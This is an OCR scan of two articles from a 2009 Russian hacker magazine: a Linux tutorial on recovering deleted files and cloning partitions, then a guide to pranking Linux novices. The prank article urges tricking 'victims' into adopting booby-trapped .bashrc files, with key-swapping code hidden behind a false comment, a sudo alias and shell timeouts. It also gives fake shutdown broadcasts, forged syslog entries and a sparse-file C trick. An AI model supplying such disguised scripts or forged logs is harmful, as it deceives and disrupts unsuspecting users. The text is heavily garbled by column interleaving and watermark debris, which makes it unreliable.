Такженаммогутпригодитьсяинструментыдля работысразделамижесткогодиска. Естьтри наиболеепродвинутыепрограммытакоготипа: parted (www.gnu.org/software/parted), предна-

значеннаядлясозданияразделов, изменения ихразмера, перемещения, созданияипроверки файловыхсистем; gpart (www.brzitwa.de/mb/ gpart) — программа-восстановительзатертой таблицыразделовиTestDisk (www.cgsecurity. org/wiki/TestDisk) — аналогgpart спсевдо-

графическиминтерфейсоминесколькими полезнымифункциями.

Следуетотметить,чтоparted—лишьхорошаяоберт- каповерхописанныхутилитдляработысфайловыми системами,поэтомупочтивсе,чтоможетparted, могутиони.Причемвокругсамойpartedестьидругая обертка,названнаяgparted(gparted.sourceforge.net).

Онавсего-навсегосоздаетудобныйграфический

GTK-интерфейсвстилеPartitionMagic.

ВпакетеTestDisk тынайдешьутилитуPhotoRec, предназначеннуюдлявосстановленияразличныхтиповфайловсразделавнезависимостиот используемойфайловойсистемы. Принципее работызаключаетсявпоискеивосстановлении файловпоихметаданнымбезанализаструктурыфайловойсистемы. PhotoRec способнавос-

072

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ДРУГОЙ СПОСОБ ВОССТАНОВЛЕНИЯ ФАЙЛОВ С EXT3

Узнатьсписокфайлов, подлежащихвосстановлению:

# ext3grep /dev/sda1 --dump-names

Восстановлениефайла:

# ext3grep /dev/sda1 --restore-file /home/user/work/очень_важный_документ.odt

Восстановлениекаталога:

# ext3grep /dev/sda1 --restore-file /home/user/work

Восстановлениевсехфайловсмоментавремени1231543545 (секундыотначалаэпохи

UNIX):

# ext3grep /dev/sda1 --restore-all --after=1231543545

станавливатьизображения(bmp, jpg, png, tiff,

Дляначаланеобходимопросмотретьсписок

# ntfsundelete /dev/sda1 -u -i 11172

raf, raw, rdc, x3f, crw, ctg, orf, mrw), аудио-фай-

всехудаленныхфайлов:

-d /undeleted

лы(wav, au, mp3, wma), видео-файлы(avi, mov,

 

 

 

 

 

 

mpg), архивы(bz2, tar, zip), документы(doc, pdf,

# ntfsundelete /dev/sda1

 

Файлыможновосстанавливатьпомаске:

html, rtf), файлысисходникамипрограмм(c, pl,

 

 

 

 

 

 

sh). Рядпрограммтакогожетипаможнонайти

Втретьейколонкевыводабудетуказанпроцент

# ntfsundelete /dev/sda1 -u -m

впакетеSleuth Kit (www.sleuthkit.org), длякото-

сохранностифайла. Еслионравен100% —

"*.doc"

рогосуществуетweb-интерфейсautopsy.

всеОК, файлможетбытьвозвращенкжизни

 

 

СЦЕНАРИИ

целыминевредимым; меньшеезначение

Фильтроватьподлине:

указываетнато, чтокакие-тоегоучасткиуже

 

ИСПОЛЬЗОВАНИЯ

былизатертыновымиданными, поэтомупосле

# ntfsundelete /dev/hda1 -S 5k-6m

Вследующихразделахмырассмотрим

восстановленияфайлокажется, чтоназывает-

 

несколькораспространенныхсценариевис-

ся, битым. Внекоторыхслучаяхвозможность

Илижетыможешьвосстановитьвсеудаленные

пользованияописанныхутилит. Во-первых, это

восстановлениядаженаполовинуубитого

файлы, аужепотомразобраться, чтокчему:

подробноеописаниепроцессавосстановления

файламожетсделатьпогоду, покажеостано-

 

файловсиспользованиемтрехразныхпод-

вимсянаполностьюцелыхэкземплярах. Для

# ntfsundelete /dev/sda1 -u -m "*"

ходов, во-вторых, починкафайловыхсистем

этоговыполнимследующуюкоманду:

-d /undeleted

послесбоя, в-третьих, клонированиераздела

 

 

 

 

 

 

нанесколькомашин, в-четвертых, описание

# ntfsundelete -p 100 /dev/sda1

 

Программаизвлекаетфайлысовсеми

процессапереносаданныхнаразделменьше-

 

 

атрибутами, включаяимяивремясоздания.

 

 

горазмера.

Ух, какжеихмного! Заставимпрограмму

Пользоватьсяейодноудовольствие.

КАСТИМRESSURECTION

вывестинаэкрантолькофайлы, удаленныеза

Длявосстановленияданныхсовсехостальных

последние2 дня:

файловыхсистем, включаяFAT, UFS, EXT3, да

ДляоживленияумершихфайловнаNTFS пред-

 

 

илюбыхдругих, удобнеевсегоиспользовать

назначенаужеупоминавшаясяntfsundelete из

# ntfsundelete /dev/sda1 -p 100 -t

 

PhotoRec. Запускаемпрограмму:

пакетаntfsprogs. Онаоченьпростависполь-

2d

 

 

зованииичрезвычайноаккуратна. Еслиты

 

 

# photorec

 

 

случайнопотерфайлисразужеотмонтировал

Так-толучше. Восстановимфайл, номерinode

 

 

раздел, будьуверен— ntfsundelete сможет

(перваяколонкавывода) которогоравен11172,

Вглавномменювыбираемподопытное

вернутьегонаместовцелостиисохранности.

вкаталог/undeleted:

устройство(например, /dev/sda). Нажимаем

XÀÊÅÐ 11 /131/ 09

073

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

UNIXOID

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

К СОЖАЛЕНИЮ, NTFSFIX НЕ СПОСОБНА ПОЛНОСТЬЮ ВЫЛЕЧИТЬ NTFS. ОНА ЛИШЬ ИСПРАВЛЯЕТ НЕКОТОРЫЕ ИЗ ЕЕ ПРОБЛЕМ.

GPARTED НАПРЯМУЮЗАВИСИТ ОТИНСТРУМЕНТОВКОМАНДНОЙ СТРОКИ

<Enter> и выбираем тип таблицы разделов (для писюков это Intel). Далее выбираем раздел, а на следующем экране — тип файловой системы (ext2/ext3 или другая). Задаем каталог, куда мы хотим поместить восстановленные файлы, и нажимаем «Y». Каталог должен находиться на другом разделе/диске, иначе ты рискуешь усугубить ситуацию, затерев удаленные файлы новыми данными.

Все, началсяпроцессвосстановления, он можетпродлитьсяот10 минутдонескольких часов, взависимостиот«старости» файловой системыиколичестваудаленныхфайлов. Ты можешьостановитьпроцессвлюбоймомент, нажав<Ctrl-C>, ивозобновитьегосместа прерывания, вновьзапустивPhotoRec.

Ввыбранномтобойкаталогетынайдешьмассу подкаталоговсименамивродеrecup_dir.1, recup_dir.2, каждыйизкоторыхсодержитбольшоеколичествофайловразноготипа. Имена PhotoRec невосстанавливает, поэтомупридетсяповозитьсясразгребаниемвсейэтойкучи. У PhotoRec есть и другие недостатки:

1.Достаточно часто он дает сбои, и файлы могут оказаться поврежденными, поэтому их следует проверять на «небитость» в обязательном порядке.

2.Программа ищет файлы по шаблонам. Если ты удалил файл, формат которого не поддерживается PhotoRec — пиши пропало. Поэтому в довесок к photorec необходимо иметь под рукой другие средства анализа

ивосстановления утраченных данных. Лучшим на этом поприще считается комп-

лект утилит Sleuth Kit (www.sleuthkit.org),

содержащий огромное количество самых разнообразных инструментов, которые любят применять в своей работе различные службы по расследованию инцидентов взлома и продвинутые системные администраторы. Мы далеки от этого, и нас интересуют только две утилиты из всего комплекта: fls и icat, предназначенные для поиска и извлечения файлов (как существующих, так

иудаленных).

Просмотрим список удаленных файлов с помощью утилиты fls:

# fls -rd /dev/sdb1 r/r * 117: dsc0005.jpg r/r * 119: dsc0006.jpg r/r * 122: dsc0007.jpg

r/r * 125: dsc0008.jpg r/r * 128: dsc0009.jpg

Флаг ‘-r’ заставляет программу рекурсивно проходить по всем каталогам, а ‘-d’

— показывать только удаленные файлы. Скорее всего, листинг будет очень длинным, и к тому же будет содержать список inode, которые уже были отданы другим файлам (строчка realloc в третьей колонке), поэтому мы его отфильтруем и направим в less:

#fls -rd /dev/sda1 | grep -v '(realloc)' | less

Втретьей колонке ты увидишь номера inode-файлов, а в четвертой — их имена. Чтобы выдернуть файл из ФС, воспользуйся командой icat (флаг ‘-r’ предназначен для восстановления удаленного файла):

#icat -r /dev/sda1 1023 > /home/ vasya/tmp/my_file

Для восстановления всех файлов можно воспользоваться следующей командой:

# for i in 'fls -rd /dev/sda1 | grep -v '(realloc)' |\

awk {‘print $3'}|tr -d [:]'; do icat -r -f fat /dev/sdb1 $i >\ /home/vasya/tmp/inode-$i ;done

Если ты желаешь найти какой-то конкретный файл, то вывод fls можно просто «погрепать»:

# fls -rd /dev/sda1 | grep -v '(realloc)' | grep my_file.jpg

Замечательная особенность утилит Sleuth Kit состоит в том, что они используют множество самых разнообразных методик поиска удаленных файлов и их частей. Это и анализ управляющих структур файловой системы, и различные эвристические методы, и сопоставление с шаблоном. Фактически, с помощью Sleuth Kit возможно вернуть к жизни даже файлы, затертые на ext3 (притом, что сами разработчики ext3 говорят о невозможности проведения такой операции).

ПОЧИНКА ФАЙЛОВЫХ СИСТЕМ

Починить поломавшуюся файловую систему очень просто. Достаточно воспользоваться

стандартными утилитами fsck.vfat (для фай-

ловых систем FAT12, FAT16 и FAT32), fsck.ufs (для UFS, UFS2, FFS) и ntfsfix (для NTFS).

К сожалению, ntfsfix не способна полностью вылечить NTFS. Она лишь исправляет некоторые из ее проблем и устанавливает флаг принудительной проверки файловой системы, так что следующая перезагрузка в Windows повлечет за собой запуск chkdsk для полной проверки ФС.

Используя виртуальную машину, мы можем избежать необходимости перезагрузки в

Windows. Для этого:

1.Запускаем виртуальную машину и устанавливаем винду на виртуальный жесткий диск.

2.Отмонтируем раздел, содержащий файловую систему NTFS.

3.Запускаем виртуальную машину, в качестве первого жесткого диска которой указываем виртуальный диск с Windows, а второго — наш настоящий жесткий диск.

4.С помощью стандартных средств Windows запускаем проверку NTFS-раздела.

КОПИРОВАНИЕРАЗДЕЛОВ

Допустим, тыкупилновыйжесткийдискихочешьперенестинесколькоразделовсостарого дисканановый. Еслитыначнешьделатьэто стандартнымиметодами, черезсозданиеновогоразделаиручноекопированиефайлов, то рискнешьпоиметьмассупроблем, связанных скодировкамиименфайлов, специальными файлами, защищеннымифайлами, даипотеряешьмассувремени. Лучшевоспользоваться методомклонированияраздела. ПользователиUNIX клонируютразделыспомощьюстандартнойутилитыdd, которуюможно применятьвсвязкеслюбойфайловойсистемой. Дляэтогонановомдискесоздаетсяраздел, идентичныйпоразмерамисточнику, ивыполняетсякоманда«dd if=раздел1 of=раздел2 bs=1m». Такимжеобразомможноскопировать иNTFS-раздел, новпакетеntfsprogs дляэтой целиестьболееподходящаяутилита. Программаntfsclone идентичнапофункциональностикомандеdd заисключениемдвух особенностей. Во-первых, онанекопирует незанятыеучасткифайловойсистемы, иперемещениепроисходитбыстрее, аобразраздела (еслитысоздаешьобраз) занимаетменьше места. Во-вторых, ntfsclone способнахранить образвспециальномсжатомфайле, который удобнопередаватьнадругиемашины.

Дляклонированияразделадостаточновыполнитьследующуюкоманду:

074

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

ПРОГРАММАNTFSUNDELETE ЧЕСТНОСОPHOTOREC СОБСТВЕННОЙПЕРСОНОЙ ОБЩАЕТОТОМ, ЧТОФАЙЛЫПОЛНОСТЬЮ ЦЕЛЫ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

PHOTOREC: ПРОЦЕССТОЛЬКОНАЧАЛСЯ, А КОЛИЧЕСТВОВОССТАНОВЛЕННЫХФАЙЛОВУЖЕПЕРЕВАЛИЛОЗА1000

#ntfsclone --overwrite /dev/hda1 /dev/hdb1

Адлясозданияобраза:

#ntfsclone --save-image --output backup.img /dev/hda1

Утилитаntfsclone особенноудобна, еслитырешилскопироватьустановленныйWindows нацелыйпаркдругихмашин (учебныйклассилиофис). Дляэтогодостаточноустановить Windows наоднумашинуисоздатьобраз, которыйзатем можновыложитьвшаруиспомощьюLinux LiveCD залить надругиемашины. Чтобыонисмоглизагружаться, придет- сятакжескопироватьMBR-записьдиска:

#sfdisk -d /dev/sda > /share/sda-sfdisk.dump

#dd if=/dev/sda bs=512 count=1 of=/share/ sda-mbr.dump

Азатемзаписатьеенадисквсехмашин:

#sfdisk /dev/sda < /share/sda-sfdisk.dump

#dd if=/share/sda-mbr.dump of=/dev/sda

ПЕРЕНОСДАННЫХ

ЕслитырешилполностьюперейтинаLinux, нонехочешь использоватьразличныеухищренияиntfs-3g длядоступак своимстарымданным, расположеннымнаNTFS-разделе? Ведьэтотразделможетзаниматьбольшуючастьдиска, и нетникакойвозможностипростоскопироватьегосодержимоенановыйраздел, отформатированныйвext3/ext4. В этомслучаетебенапомощьопятьпридутутилитыизпакета ntfsprogs, аточнееоднаизних— ntfsresize, котораяпозволиткопироватьданныенебольшимипорциямивновую файловуюсистемуспоследующимуменьшениемразмера NTFS-разделаиувеличениемext3/ext4-раздела. Для этоготебепонадобитсякакой-нибудьLiveCD, содержащий ntfsprogs иe2fsprogs версиинениже1.41 (дляподдержки

XÀÊÅÐ 11 /131/ 09

ext4, еслиты, конечно, собираешьсяпереноситьданные нанее). Такжеоченьжелательно, чтобыLiveCD содержал свеженькийgparted, потомучтоизменятьразмервручную трудноиопасно(кромеизмененияразмерасамойФС, предстоитменятьразмерразделаспомощьюfdisk, одна ошибкаивсюоперациюпридетсяначинатьсначала). ЗагружаемсясLiveCD имонтируемразделыжесткого диска. Допустим, егоразмерсоставляет120 Гб. Изних80 Гб— подзавязкунабитыйNTFS-раздел, аостальные30 Гб (да, именно30, послепереводамаркетинговыхгигабайт внастоящиеобъемдискаоказываетсяравнымпримерно 111 Гб) — эторазделсустановленнымLinux, занятость которогосоставляет5 Гб. Значит, наше«окно» равно примерно25 Гб. ПеремещаемфайлысNTFS-разделана ext3/ext4-разделдотехпор, покаихсовокупныйразмер нестанетравенразмеруокна. Врезультатепоследний оказываетсяполностьюзаполненным, апервый«худеет» на25 Гб. Отмонтируемобаразделаизапускаемgparted. ВыбираемNTFS-раздел, жмемвторуюкнопкумыши, выбираемResize/Move иуменьшаемразделнаразмер окна, выбираемext3/ext4-разделиувеличиваемегонатот жеразмерокна(разделпридетсясдвинутькначалудиска,

азатемувеличить). Такмыполучаемеще25 Гбосвободившегосяместа, чтопозволитнамскопироватьчастьфайлов,

азатемвновьизменитьразмер. Четыретакихпрохода, и мыполностьюудаляемNTFS-раздел, аразделext3/ext4 расширяемнавесьдиск.

ВЫВОДЫ

Кактысмогубедиться, Linux умеетнетолькоработатьс множествомстороннихфайловыхсистем, ноиоснащен массойутилитдляихмодификации, проведениядиагностикиивыполнениядругихопераций. Тыникогдане окажешьсявбезвыходнойситуации, держаподрукой LiveCD набазеLinux, которыйкакразиявляетсятемсамым СвятымГраалемлюбогосистемногоадминистратораи пользователя. z

GPARTED:

ЗАЧЕМНАМ

PARTITION

MAGIC?

HTTP://WWW

links

foremost.sourceforge. net — Foremost, еще однапопулярная программадлявосстановленияфайловпо шаблонам.

www.sysresccd.

org — System Rescue CD содержитвсе упомянутыевстатье программы.

075

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

w Click

to

 

 

 

 

 

 

UNIXOID

 

 

 

 

 

 

 

m

ЕВГЕНИЙ ЗОБНИН ZOBNIN@GMAIL.COM, АНДРЕЙ МАТВЕЕВ ANDRUSHOCK@REAL.XAKEP.RU

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

Пощадынебудет!

Энциклопедия UNIX-западлостроений

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ВUNIX естьвседляосуществлениясамыхразнообразныхзападлостроений: свободадействийпользователя, полныйдоступковсем, даже самымсокровенным, уголкамоперационки, открытыеисходныетексты, богатейшийарсеналинструментариянавсеслучаижизни. Получивдоступксистемеилипростозаставивпользователязапуститьпоказанную емукоманду, тыслегкостьюввергнешьсвоюжертвувсостояниешока, глубинакоторогобудетзависетьтолькооттвоихморальныхпринципов.

ÎсобуюпривлекательностьUNIX-за- падлостроенияполучаютименно сейчас, когдавсепоголовноначинаютпереползатьнаLinux. Пингвина устанавливаютдома, вшколах,

институтах, различныхгос. учреждениях, на нетбуки, телефоны. Ивсемэтимпользуются рядовыечайники, которымможнозапросто впаритьdeb-пакетспрограммой-ускорителем интернета, заставитьвыполнитьстранную команду, котораяякобыактивируетмеханизм автоматическогораспараллеливанияприложенийповсемдоступнымядрампроцессора, научитьпечататьпередлюбойпредложенной емукомандойсловоsudo. Какойпростордля западлостроителя! Теперьненадоломать головунадзапрятываниемсвоихфорк-бомб ишелл-функцийвсистему, необязательноломатькомпжертвы, достаточноуверитьеевтом, чтотыпроженныйжизньюГик, которыйвидел выходSlackware 3.0 собственнымиглазамии компилировалядроLinux 1.1. Все, делосделано. Онсамприбежитктебезапомощью, когда споткнетсяобочереднойкаменьUbuntu Linux.

ШУТКИ

Начнемссамыхпростыхисовершеннобезобидныхприколов, которыетысможешьустраиватьсцельюподнятьнастроениенетолько себе, ноижертве. Целеваяаудитория: друзьяи знакомыесхорошимчувствомюмора.

Извсехспособовудачноподколотьжертву наиболеепростойиэффективныйзаключается втом, чтобызаменитьоднуилинесколькочасто используемыхкоманднапсевдоним, выполняющийподложнуюкоманду(наборкоманд). Так, например, тыможешьпосоветоватьжертве

свойсобственный.bashrc, которыйсодержит рядполезнейшихфункций, красивораскрашенноеприглашениеиулетныенастройки, новегоконецтыпоместишьчто-нибудьвроде этого:

alias sudo='echo -e "\e[1;1H\ e[2JMatrix HAS you…"; sleep 600'

Еслижертванеособосильнавшелл-скрип- тинге, тоскореевсегоонапростозаменит свой.bashrc твоимпродвинутымвариантоми продолжитспокойноосваиватьпремудрости команднойстроки… Ровнодотогомомента, поканевызоветкомандуsudo, результатом чегостанетзатираниевсегоэкранаипоявлениенадписи«Matrix HAS you…» влевом верхнемуглуэкрана. Такжев.bashrc можно добавитьинициализациюиэкспортпеременнойTMOUT, отвечающейзаавтоматическое закрытиешеллавовремябездействия:

export TMOUT=10

Результат: десятисекундныйпростойиопа, — шеллзакрылся. Покажертваразберется, чток чему, постоянные«падения» интерпретатора еедоконают.

Спомощьюкоманд, прописанныхв.bashrc, ты можешьсделатьоченьмногое. Например, подменитьклавишиклавиатурывX Window. Для этогопоместивподложный.bashrc следующий код:

$ VI .BASHRC

# Этот код чинит клавиатурные комбинации в Firefox

if [ $DISPLAY != ""]; then a='xmodmap -pke | grep 'a A' | cut

-d '' -f 3'

s=`xmodmap -pke | grep 's S' | cut -d '' -f 3'

xmodmap -e "keycode $a = s S" > / dev/null 2>&1

xmodmap -e "keycode $s = a A" > / dev/null 2>&1

fi

Новичокврядлиразберетсявтом, чтоконкретноделаютэтикоманды, ипростоповерит комментарию. Насамомжеделекодменяет клавиши‘a’ и‘s’ местами, такчтожертвабудет долгоматериться, полагая, чторазучиласьпечатать, азатемивовсеотправитсявмагазинза новойклавиатурой. Будетещесмешнее, если заменитьместамиклавишиs иl изаставить жертвуустановитьпрограммуsl, результатом которойбудетпроносящийсясправа-налево поезд, нарисованныйспомощьюascii art. Безобидныешуткисвыводомразличныхсообщенийнаэкранмониторатакжемогутвызвать бурюэмоций.

$ VI ~/.BASHRC

wrapper() {

DATE=$(LC_ALL=en date +’%c’) TTY=$(basename `tty`)

echo -e «Broadcast message from $USER (pts/$TTY) ($DATE)\n\nThe system is going down for system halt NOW»

sleep 500

}

alias vi=wrapper

076

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

echo 'Authentication passed for

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

pupkin' | logger -i -t 'popa3d' -p

 

 

 

 

 

 

 

 

 

daemon.info

 

 

 

 

 

 

 

 

 

echo '13 messages (31337 bytes)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

loaded' | logger -i -t 'popa3d' -p

 

 

 

 

 

 

 

 

 

daemon.info

 

 

 

 

 

 

 

 

 

echo '13 (31337) deleted, 0 (0)

 

 

 

 

 

 

 

 

 

left' | logger -i -t 'popa3d' -p

 

 

 

 

 

 

 

 

 

daemon.info

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ещеодинтипшутокэксплуатируетспособ-

 

 

 

 

 

 

 

 

ностьфайловыхсистемUNIX-подобныхОСк

 

 

 

 

 

 

 

 

упаковкетакназываемых«файловыхдыр».

 

 

 

 

 

 

 

 

Есливфайловуюсистемузаписываетсяфайл,

 

 

 

 

 

 

 

 

содержащийдостаточнодлинныйучасток

 

 

 

 

 

 

 

 

нулей(длиной, покрайнеймере, водинблок),

 

 

 

 

 

 

 

 

товыделенияблоковдляразмещенияэтих

 

 

 

 

 

 

 

 

данныхнепроисходит, авсессылкинаблоки,

 

 

 

 

 

 

 

 

содержащиенули, помечаютсяспециальным

 

 

 

 

 

 

 

 

битом. Впоследствии«нулевые» блокимогут

 

 

 

 

 

 

 

 

бытьвыделеныФС, нодоэтоговремениони

 

 

 

 

 

 

 

 

незанимаютместонадиске. Этаособенность

 

 

 

 

 

 

 

 

используетсяtorrent-клиентамидлясоздания

 

 

 

 

 

 

 

 

пустыхфайлов, вразныеместакоторыхсовре-

 

 

 

 

 

 

 

 

менембудутпомещатьсяскачанныеданные

 

 

 

 

 

 

 

 

(аместодлянихбудетвыделятьсяфайловой

 

 

 

 

 

 

 

 

системойпомеренадобности).

 

 

 

 

 

 

 

 

Тотжеприемможноиспользоватьдля«запу-

 

 

 

 

 

 

 

 

гивания» жертвы: мыпростосоздаемнеобы-

 

 

 

 

 

 

 

 

чайнодлинныйфайлинаполняемегонулями.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Врезультатевфайловойсистемепоявляется

 

 

 

 

 

 

 

 

огромныйфайл, которыйнасамомделене

 

 

 

 

 

 

 

 

занимаетместа. ВоткоднаСи:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$ VI HOLE.C

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

int main(void)

 

 

Витогевызовредактораvi приведеткпечати

 

sizeof(hostname));

 

 

{

 

 

 

 

примернотакогосообщения:

 

 

 

 

 

const char *fname = "/tmp/

 

 

 

 

 

// подготавливаем фейковое сооб-

 

 

surprise";

 

 

Broadcast message from vasya (/

 

щение о немедленном выключении

 

 

const char *mystring =

 

 

dev/pts/0) Thu 24 Sep 2009 14:50:50

 

компьютера

 

 

"aaaaaa";

 

 

YEKST

 

snprintf(buf, sizeof buf,

 

 

off_t myoffset = 1048576000;

 

 

 

 

 

" *** FINAL System

 

 

int fd;

 

 

The system is going down for system

 

shutdown message from root@%s ***

 

 

 

 

 

halt NOW!

 

System going down IMMEDIATELY",

 

 

open(fname, O_CREAT | O_TRUNC

 

 

 

 

 

hostname);

 

 

| O_RDWR, 0600);

 

 

ВариантнаязыкеСи(здесьидалеепо

 

 

 

 

 

 

syslog(LOG_EMERG, buf);

 

 

write(fd, mystring,

 

 

текстуобъявлениязаголовочныхфайлови

 

exit(0);

 

 

strlen(mystring));

 

 

проверкинавозвращаемыефункциямизна-

 

}

 

 

 

lseek(fd, myoffset, SEEK_

 

 

ченияопущеныдляэкономиижурнального

 

 

 

 

 

CUR);

 

 

 

 

 

 

 

 

пространства):

 

Первыйаргументфункцииsyslog() говорит

 

write(fd, mystring,

 

 

 

 

 

отом, чтосообщениеявляетсяэкстренным,

 

strlen(mystring));

 

 

$ VI SYSLOG-FAKE.C

 

поэтомуонопопадетнетольковлогисистемы

 

printf("Segmentation

 

 

int main(void)

 

syslog, ноибудетвыведеновконсоль.

 

fault\n");

 

 

{

 

 

Многиенезнаютотом, чтов*nix-системах

 

exit(0);

 

 

extern const char *__

 

любойпользовательможетвызватьсистему

 

}

 

 

progname;

 

регистрациисобытийисоздатьжурнальные

 

 

 

 

 

 

 

char buf[128], hostname[256];

 

записи, якобыпосланныекаким-либодемо-

 

Заменяемстроку/tmp/surprise напутьдо

 
